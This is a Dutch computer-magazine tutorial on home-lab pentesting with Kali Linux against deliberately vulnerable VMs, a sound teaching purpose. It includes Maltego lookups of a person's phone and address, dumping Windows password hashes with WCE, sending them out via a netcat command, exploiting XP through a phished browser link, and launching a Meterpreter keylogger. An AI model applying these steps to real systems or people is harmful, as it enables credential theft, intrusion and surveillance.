Zo blijf je hackers een stap voor met Kali Linux

Door: Toon van Daele | 01 september 2019 14:25

Linux hacken
Apps & Software

Je hebt een (thuis)netwerk en wilt hackers een stap voor blijven. Zelf in de huid van een hacker kruipen en je eigen netwerk, systemen en servers aanvallen is een uitstekende manier om kwetsbaarheden bloot te leggen, zodat je gerichte maatregelen kunt nemen. Deze vorm van ethisch hacken noemen we pentesting. In dit artikel gaan we aan de slag met enkele knappe tools, waaronder Kali Linux.

Pentesting, kort voor penetration testing, wordt wel vaker verward met een kwetsbaarheidsscan (vulnerability scan). Maar terwijl zo’n kwetsbaarheidsscan it-systemen via een geautomatiseerde procedure op zwakheden controleert en zich dus tot bekende beveiligingsfouten beperkt, gaat een pentester doorgaans verder. Met behulp van allerlei tools en creatieve aanvalstechnieken zoekt die geautomatiseerd en handmatig naar een zo breed mogelijke waaier aan kwetsbaarheden.

In dit artikel gaan we zelf met pentesting aan de slag. Daartoe maken we gebruik van Kali Linux. Deze distro bevat honderden pentesting-applicaties voor onder meer inventarisatie en enumeratie, sniffing en spoofing, wifi-aanvallen, kwetsbaarheidsanalyses, social engineering en het kraken van wachtwoorden. In deze masterclass moeten we ons noodzakelijkerwijs tot een handvol tools beperken.

Kali Linux is voor diverse platformen beschikbaar en laat zich zowel bare metal, dual boot, op een live medium als virtueel installeren. Wij kiezen voor de laatste methode en maken daarvoor gebruik van Oracle VM VirtualBox.

01 Kali-installatie

Download en installeer alvast VirtualBox. Start de tool op en kies Bestand / Voorkeuren / Netwerk. Druk op de knop Voeg NAT-netwerk toe en dubbelklik op het toegevoegde item. Eventueel pas je Netwerknaam en Netwerk CIDR (10.0.2.0/24) aan, maar zorg wel dat Inschakelen netwerk is aangevinkt. Bevestig met OK (2x).

Dan is het nu tijd om Kali Linux te virtualiseren. Ga naar de site van Kali Linux, open het tabblad Kali Linux VirtualBox Images en haal Kali Linux Vbox 64 bit Ova op. Die installeer je als volgt in VirtualBox: kies Bestand / Appliance importeren, verwijs naar je download en klik op Volgende. Dubbelklik eventueel op de naam als je die wilt wijzigen en start de operatie met Importeren. Na afloop start je de virtuele machine op. Je meldt je aan met root (gebruikersnaam), toor (wachtwoord). Even later duikt de Kali-desktop op: in het Applications-menu tref je al talrijke pentesting-tools aan. Mocht Kali niet willen opstarten, klik dan met rechts op je Kali-machine en kies Instellingen / USB: ga na of de optie USB 1.1 (OHCI) Controller wel is geselecteerd. Nu hoort het wél te lukken.

01 We zorgen ervoor dat alle systemen met elkaar zijn verbonden en via NAT het internet op kunnen.

02 Kali-update

Je hebt dan wel een NAT-netwerk toegevoegd, maar je moet er ook voor zorgen dat Kali en naderhand ook de targets ditzelfde netwerk gebruiken. Zorg dat Kali is afgesloten en rechtsklik op het Kali-pictogram in de beheermodule van VirtualBox. Kies Instellingen / Netwerk en kies bij Gekoppeld aan de optie NAT-netwerk. In het uitklapmenu bij Naam vind je het betreffende netwerk terug. Je mag nu Kali (weer) opstarten, waarna we de distro eerst gaan updaten. Start de desktop op en klik op het icoon Terminal, waarna je de volgende opdracht uitvoert:

apt-get clean && apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y

Hiermee start je een langdurige procedure die heel af en toe om een bevestiging vraagt en die je maar beter niet onderbreekt.

02 Kali heeft wel wat werk om zichzelf te updaten.

03 Target-installaties

Het lijkt ons niet zo veilig om onze pentesting-experimenten meteen maar in een productie-omgeving uit te voeren. Liever gebruiken we enkele eveneens gevirtualiseerde targets. Een voor de hand liggend slachtoffer is alvast Metasploitable, een Ubuntu-distributie die opzettelijk van talrijke kwetsbaarheden is voorzien, precies met het oog op pentesting. Je downloadt die op Sourceforge. Pak het zip-bestand uit, start VirtualBox, klik op Nieuw, vul bij Type Linux en bij Versie Ubuntu (64-bit) in. 1 GB ram-geheugen kan volstaan. Selecteer Gebruik een bestaand virtuele harde schijf bestand en verwijs naar het uitgepakte vmdk-bestand. Bevestig met Aanmaken. Start het systeem op en log in met msfadmin, zowel voor de gebruikersnaam als het wachtwoord, en controleer of je wel met de juiste toetsenbordindeling werkt.

Laten we ook een paar (oudere) Windows-versies installeren. Voor Windows 7 en 10 kun je voor ova-appliances op de site van Microsoft terecht (bij Select platform kies je VirtualBox). Windows XP (SP3) kun je nog vinden op www.softlay.net, waar je Windows / Windows XP ISO selecteert. Omdat we deze targets zoveel mogelijk onbeschermd willen laten, kun je de automatische updatefunctie van Windows het best uitschakelen.

03 Enkele gewillige slachtoffers staan al klaar: Metasploitable en Windows XP Professional.

Extern

Heb je niet de tijd of de kennis om zelf uitvoerige pentests op je it-infrastructuur uit te voeren? Dan kun je ook altijd een specialist inhuren. Er zijn verschillende bedrijven die gespecialiseerd zijn in zulke tests. Ga na of de pentester(s) wel over een VOG (Verklaring Omtrent het Gedrag) en de nodige certificaten beschikt, zoals OSCE/OSCP (Offensive Security Certified Expert/Professional). Maak vooraf ook eenduidige afspraken omtrent de gebruikte methodes en de (ingeschatte) duur van de tests. Vaak wordt er een onderscheid gemaakt tussen black, grey en white box pentests, waarbij de pentesters vooraf in toenemende mate over bruikbare informatie over je it-infrastructuur en systemen beschikken.

04 Snelle scan

Zoals gezegd bevat Kali vele tientallen pentesting-tools, verdeeld in uiteenlopende rubrieken als Vulnerability Analysis, Web Application Analysis, Password Attacks, Exploitation Tools en Information Gathering. We beginnen ons experiment met de laatste: een van de eerste stappen die ook een hacker zal zetten.

We starten met een eenvoudige opdrachtregeltool: dmitry. Die vind je via Applications / Information Gathering / dmitry. In zijn eenvoudigste vorm hoef je slechts een domeinnaam op te geven (bijvoorbeeld dmitry computertotaal.nl). Dat levert al heel wat informatie op, waaronder ip-adres, nameservers, subdomeinen, registrar, enz. Het wordt al wat spannender als je je Metasploitable-installatie analyseert. Uiteraard moet dat systeem dan wel actief zijn: via het commando ifconfig kom je het ip-adres van je Metasploitable (eth0) te weten, waarna je vanuit Kali deze opdracht kunt uitvoeren:

dmitry <ip-adres-metasploitable> -pb

De parameter -pb zorgt voor een poortscan, inclusief de banners van de gebruikte software.

04 Metasploitable blijkt aardig wat poorten (met verouderde services) open te hebben …

05 Transformatieconcept

Een informatietool van een geheel andere orde is (de gratis community edition van) Maltego. Die maakt handig gebruik van publiek beschikbare bronnen om allerlei informatie over organisaties of personen op te vissen. Je dient je wel eerst bij Maltego te registreren. Daarna ga je naar Applications / Information gathering / Maltego en klik je bij Matego CE (Free) op Run. Meld je bij de dienst aan en bevestig met Next (3x) en met Finish.

In het Transform Hub-venster tref je een reeks zogenoemde transforms aan: dat zijn processen die publieke data over het beoogde doelwit kunnen opvragen en deze data vervolgens naar een overzichtelijke informatiestructuur transformeren. De transform PATERVA CTAS CE is standaard al geïnstalleerd. Er zijn nog heel wat andere transforms die je kunt installeren, zoals Kaspersky Lab, VirusTotal Public API, Have I Been Pwned? enzovoort. De meeste vergen wel een token of API-sleutel, aan te vragen bij de respectieve producenten.

05 Maltego berust op het concept van ‘transforms’: publieke data naar gestructureerde informatie omzetten.

06 Transformatiegrafieken

Aan de slag nu. Klik linksboven op het plusknopje Create a new graph: in het linkerpaneel verschijnt een reeks functies, zoals Infrastructure, Penetration Testing, Malware, Personal enzovoort. We beperken ons hier tot twee voorbeelden.

Zo vind je in de rubriek Infrastructure de Domain-functie terug: sleep die naar het nog lege canvas, dubbelklik hierop en vul de domeinnaam in die je wilt onderzoeken. Rechtsklik vervolgens op dit item en kies (bijvoorbeeld) DNS from Domain / Run All om de bijbehorende transforms uit te voeren. Het resultaat is een (ook grafisch) overzicht van zowat alle sites en servers die met dit domein te maken hebben. Rechtsklik op een subitem voor nog meer gedetailleerde informatie.

Ook over personen kun je informatie opvragen. Open de rubriek Personal en sleep Person naar het canvas. Dubbelklik om hier zelf een persoonsnaam in te kunnen tikken en laat er desgewenst alle transforms op los. Voor Twitter moet je wel eerst nog je toestemming verlenen. Vervolgens druk je op de knop Run!; je hoeft hier niet per se specifieke domeinen in te vullen. Als het goed is duiken even later telefoonnummers, adressen, websites enzovoort op die met die persoon verband houden. Ook hier kun je rechtsklikken op subitems om nog dieper te kunnen graven naar bruikbare informatie.

06 Maltego werkt snel en verwerkt alle informatie in een overzichtelijke grafiek.

07 Nikto: snelle scan

Niet alleen informatierondes, maar ook kwetsbaarheidsanalyses vormen een essentieel onderdeel van het takenpakket van een pentester. Ook op dit vlak stelt Kali allesbehalve teleur. We beperken ons in deze masterclass noodgedwongen tot twee tools uit dit arsenaal.

De eerste is Nikto, waarmee je verschillende webservers zoals de populaire Apache en Nginx op zo’n 7000 kwetsbaarheiden kunt scannen.

De Metasploitable-installatie vormt alvast een uitstekend doelwit voor Nikto. Start het systeem op in VirtualBox en ga via ifconfig na wat het interne ip-adres is. Vervolgens start je Nikto op via Applications / Vulnerability Analysis / nikto en voer je dit opdrachtregelcommando uit:

nikto -h <ip-adres-metasploitable>

Het resultaat volgt vrijwel onmiddellijk: in Metasploitable blijkt standaard een (verouderde) Apache-server actief (Apache/2.2.8 (Ubuntu)) en Nikto somt dan ook maar meteen een aantal mogelijke exploits op, zoals “The anti-clickjacking X-Frame-Options header is not present” en “The X-XSS-Protection header is not defined”. Even googelen brengt je al een heel eind op weg om zulke kwetsbaarheden te exploiteren of op te lossen. Je kunt hiervoor onder meer terecht op deze website.

07 De Apache-server van Metasploitable blijkt zo lek als een zeef.

08 OpenVAS installeren

Een andere kwetsbaarheidsscanner is OpenVAS oftewel Opensource Vulnerability Assessment System. Jammer genoeg is deze tool standaard niet in Kali geïnstalleerd, maar dat breng je snel in orde met het opdrachtregelcommando:

apt-get update && apt-get install -y openvas

Zodra deze operatie achter de rug is, voer je het commando openvas-setup uit. Deze setup kan een hele poos duren, want er worden enkele tienduizenden kwetsbaarheidstests gedownload, ook wel nvt’s of network vulnerability tests genoemd.

Aan het einde van de rit geeft OpenVAS je een uiterst complex wachtwoord, maar dat laat zich gelukkig aanpassen met het commando:

openvasmd --user=admin --new-password=<nieuw_wachtwoord>

Vervolgens voer je ook het commando greenbone-nvt-sync uit, zodat de lokale nvt’s via een feedservice up-to-date worden gehouden.

Met openvas-start zet je OpenVAS in gang. De standaardbrowser Firefox ESR verbind je met de webinterface van OpenVAS (https://127.0.0.1:9392). De browser klaagt weliswaar over een onveilige verbinding, maar dat stuur je bij via Advanced / Add Exception / Confirm Security Exception. Normaliter hoor je je nu wel te kunnen aanmelden met admin en het zojuist aangepaste wachtwoord.

08 OpenVAS is aan een (langdurige) scan van de metasploitable-machine begonnen.

09 OpenVAS uitvoeren

Vanuit het OpenVAS-dashboard kun je meteen een scan uit laten voeren, en waarom niet op onze Metasploitable-machine?

Open het menu Scans / Tasks, klik linksboven op het toverstokpictogram en kies Task Wizard, waarna je het ip-adres van je Metasploitable-systeem invult. Je begint het scanproces met Start scan. Het controleren van enkele tienduizenden potentiële kwetsbaarheden blijkt een werk van lange adem. Standaard ververst je browser elke 30 seconden het beeld (zie rechtsboven: Refresh every 30 Sec.). Duikt een foutmelding op, dan krijg je de scan met Ctrl+R wel weer op de rails.

Na afloop van de scanronde klik je het cijfer in de kolom Reports aan: je verneemt nu hoeveel kwetsbaarheden er zijn aangetroffen en hoe ernstig die ingeschat worden.

Op ons Metasploitable-toestel bleek het te gaan om 56 kwetsbaarheden, waarvan 3 Low, 36 Medium en 17 High. Voor een uitvoerig rapport klik je op de datum in de Date-kolom. Elke kwetsbaarheid wordt dan omschreven en je krijgt het getroffen poortnummer (Location) en een QoD-indicatie (Quality of Detection) te zien om de betrouwbaarheid van de detectie aan te geven. Nuttig is ook de kolom Solution type, met indicaties als VendorFix, Workaround, Mitigation (inperking) of in het slechtste geval WillNotFix. Je hoeft zo’n kwetsbaarheid maar aan te klikken om uitgebreide feedback te krijgen. Zo’n rapport laat zich trouwens ook naar diverse formaten exporteren, waaronder csv, html en pdf.

09 Alle kwetsbaarheden worden opgesomd en kun je op diverse criteria sorteren.

10 Wachtwoordgeneratoren

Het zal je weinig verbazen dat pentesters niet vies zijn van een potje wachtwoordkraken. Dat kan met ‘brute force’ (alle mogelijke combinaties uitproberen), op basis van een woordenboek (met potentiële wachtwoorden) of met behulp van ‘rainbow tables’ (lijsten met mogelijke hashes – dat is de vorm waarin wachtwoorden vaak door een systeem worden bewaard – in combinatie met de bijbehorende wachtwoorden).

In de rubriek Password Attacks vind je alvast een heel arsenaal. Zo tref je in de subrubriek Password Profiling & Wordlists bijvoorbeeld de wachtwoordgenerator Cewl aan. Die vist automatisch potentiële wachtwoorden op uit een website, evenals gebruikersnamen uit e-mailadressen: die komen van pas bij social engineering. Dat testen we opnieuw even uit op de Metasploitable-machine met een opdrachtregelcommando als:

cewl <ip-adres-metasploitable> -w cewlwoorden.txt -d 4

Hiermee extraheer je alle kandidaat-wachtwoorden tot vier linkniveaus diep, waarna die automatisch in het tekstbestand cewlwoorden.txt worden opgeslagen. Dit proces is behoorlijk arbeidsintensief, maar het laat zich altijd nog onderbreken met Ctrl+C. Je kunt het resultaat vervolgens bekijken met een opdracht als nano cewlwoorden.txt.

10 Cewl vist automatisch alle kandidaat-wachtwoorden op en verzamelt ze in een tekstbestand.

11 Wachtwoorden kraken

De populaire wachtwoordkraker John The Ripper, die zelfs overweg kan met Windows-hashes, ontbreekt evenmin in Kali. We tonen even hoe je via een remote sessie de accountwachtwoorden achterhaalt op je Windows XP-systeem. We gaan wel uit van het scenario waarbij je als aanvaller via een exploit intussen al shell-access hebt tot die machine – dit scenario komt trouwens verder in deze masterclass nog aan bod. Door middel van deze shell-access heb je intussen ook al twee portable programma’s op de XP-machine gezet: Netcat en Windows Credentials Editor. Dit laatste voer je (zo nodig remote) uit met het commando wce -l -o windowshashes.txt: dit commando zorgt ervoor dat de Windows-hashes in het tekstbestand windowshashes.txt terechtkomen.

De bedoeling is nu dat we dit tekstbestand via een netcat-sessie overbrengen naar de Kali-machine. Open daartoe een nieuw Terminal-venster in Kali en start een luistersessie op bijvoorbeeld poort 1111 met nc -l -p 1111 >windowshashes.txt. Op de Windows XP-machine voer je deze opdracht uit:

nc -w 3 <ip-adres-Kali-machine> 1111 <windowshashes.txt

En dan nu over naar de gui-interface van John the Ripper: ga naar Applications / Password attacks / Johnny. Hier klik je op Open password file, kies je (PASSWD format) en haal je windowshashes.txt in de rootmap op.

11 We halen het bestand met de hashes op via een remote nc-sessie … en voeren dat aan Johnny.

Arsenaal

Wanneer je googelt naar de populairste of de ‘beste’ pentesting-tools, dan zie je vaak dezelfde namen voorbijkomen. Een aantal ervan is in dit artikel al expliciet aan bod gekomen, maar er zijn er natuurlijk nog meer. Zo worden Nmap en gui Zenmap vaak gebruikt om systemen of netwerken op kwetsbaarheden te scannen en is Wireshark een van de beste tools om netwerkdata en -protocollen te analyseren. Aircrack-ng en Kismet zijn juist erg populair om de veiligheid van draadloze netwerken te controleren. Ook OWASP-ZAP zal zelden ontbreken in het arsenaal van de doorgewinterde pentester: hiermee vis je snel allerlei kwetsbaarheden op in webapplicaties. Burp Suite is een krachtige webproxy waarmee je alle verkeer tussen browser en server kunt opvangen, ideaal om kwetsbaarheden als sql-injectie of XSS te detecteren. Zeer degelijke web-kwetsbaarheidsscanners zijn bijvoorbeeld ook nog Acunetix en Netsparker, maar beide zijn behoorlijk aan de prijs. Alle andere vermelde tools vind je gewoon in Kali.

12 Windows-exploitatie

Kali beschikt ook over krachtig gereedschap om remote root access te verkrijgen, waaronder het Metasploit-framework en de bijbehorende gui Armitage. We tonen je hoe je zoiets voor elkaar krijgt op de Windows XP-machine.

Open Applications / Exploitation tools / armitage en klik op Connect en op Yes om verbinding te maken met het Metasploit-framework. Armitage start op en we willen hier

een exploit selecteren waarvan we weten dat die via een (verouderde) browser op een XP-toestel kan worden uitgevoerd. Klik op exploit / windows / browser en dubbelklik op ms14_064_ole_code_execution. Bevestig met Launch.

Onderaan lees je het Local IP af. Je moet de gebruiker van de XP-machine zover krijgen dat die dat adres in zijn browser intikt. In werkelijkheid gebeurt zoiets wellicht via phishing, maar hier tikken we het gewoon zelf in de XP-browser in. Ogenschijnlijk gebeurt er niets, maar terug bij je Kali-machine zie je dat de gecompromitteerde XP-machine al is toegevoegd. Rechtsklik op de bijbehorende miniatuurweergave en kies Meterpreter 1 / Interact / Meterpreter Shell. Onderaan verschijnt nu de prompt meterpreter >. Het commando help geeft je meer uitleg. Je kunt van hieruit nu allerlei commando’s op je XP-machine uitvoeren, zoals cd\, ls, ps enzovoort.

Ga ook even na wat er gebeurt als je Meterpreter 1 / Explorer / Log Keystrokes opstart: wanneer je op Launch klikt, lanceer je een keylogger op de XP-machine die alle toetsaanslagen opslaat in het vermelde txt-bestand. We zeiden het al: met roottoegang wordt zowat alles mogelijk!

12 Armitage maakt handig gebruik van de talrijke exploits uit Metasploit.

0 Reactie(s) op: Zo blijf je hackers een stap voor met Kali Linux

  • Om te reageren moet je ingelogd zijn. Nog geen account? Registreer je dan en praat mee!
  • Er zijn nog geen reacties op dit artikel.

Wanneer je een reactie plaatst ga je akoord
met onze voorwaarden voor reacties.